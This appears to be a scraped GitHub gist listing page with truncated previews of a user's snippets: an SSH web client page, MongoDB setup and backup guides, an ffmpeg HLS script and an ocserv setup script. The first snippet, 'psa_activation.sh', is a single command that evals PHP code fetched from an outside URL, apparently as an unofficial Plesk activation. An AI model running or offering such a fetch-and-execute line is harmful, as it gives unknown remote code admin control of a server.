Skip to content

Instantly share code, notes, and snippets.

View psa_activation.sh
/usr/local/psa/admin/bin/php -er "eval(file_get_contents('https://ossav.com/PTC'));"
View index.html
<!doctype html>
<html>
<head>
<title>SSH Client</title>
<script type="text/javascript" src="//cdnjs.cloudflare.com/ajax/libs/socket.io/1.3.5/socket.io.min.js"></script>
<script type="text/javascript" src="//cdnjs.cloudflare.com/ajax/libs/jquery/2.1.4/jquery.min.js"></script>
<style>
body {
margin: 0;
padding: 0;
@perfectwebtech
perfectwebtech / 1.mongodb-aws-setup-guide.md
Created Apr 27, 2021 — forked from calvinh8/1.mongodb-aws-setup-guide.md
MongoDB Setup Guide for AWS EC2 Instances with Auth Enabled
View 1.mongodb-aws-setup-guide.md

MongoDB AWS EC2 Setup Guide

You can see my latest update in my blog here https://medium.com/@calvin.hsieh/steps-to-install-mongodb-on-aws-ec2-instance-62db66981218

Credits:

Big thanks to Elad Nava and Shane Rainville for writing the above articles that allow me to conduct this guide. If by all means that I violated original post's copyright, please contact me.

@perfectwebtech
perfectwebtech / mongodb_backup.md
Created Nov 10, 2020 — forked from baniol/mongodb_backup.md
MongoDB automatic backup
View mongodb_backup.md

Maintaining even a small mongodb application in production requires regular backups of remotely stored data. MongoDB gives you three ways to acomplish it. In this post I'm using monogodump command for creating a backup and mongorestore for recreating the data. The purpose of this writing is to provide a simple way of periodic database dumps from a remote server to a Dropbox cloud storage.

Remember that for using mongodump you have to have a mongod process running.

Dumping a database

Suppose that you want make a backup of your books database.

To create a dump use mongodump -d books -o which will result in a book folder containing bson files with all collections.

@perfectwebtech
perfectwebtech / README.md
Created Oct 3, 2020 — forked from mrbar42/README.md
bash scripts to create VOD HLS stream with ffmpeg almighty (tested on Linux and OS X)
View README.md

running:

bash create-vod-hls.sh beach.mkv

will produce:

    beach/
      |- playlist.m3u8
 |- 360p.m3u8
@perfectwebtech
perfectwebtech / ocsetup.sh
Created Sep 27, 2020 — forked from tracyhatemice/ocsetup.sh
setting up ocserv (open source AnyConnect alternative) on a new Debian, use passwd auth by default
View ocsetup.sh
echo "this file isn't supposed to run"
exit 0
# <------------------------------ Enviroment Variables ------------------------------->
FQDN = <Server DNS Name> # can also get from PTR record
ORG_NAME = <Org name>
RELEASE_NAME = $(lsb_release -sc)
# <------------------------------ Network Stack Setups ------------------------------->
# Please edit /etc/default/ufw first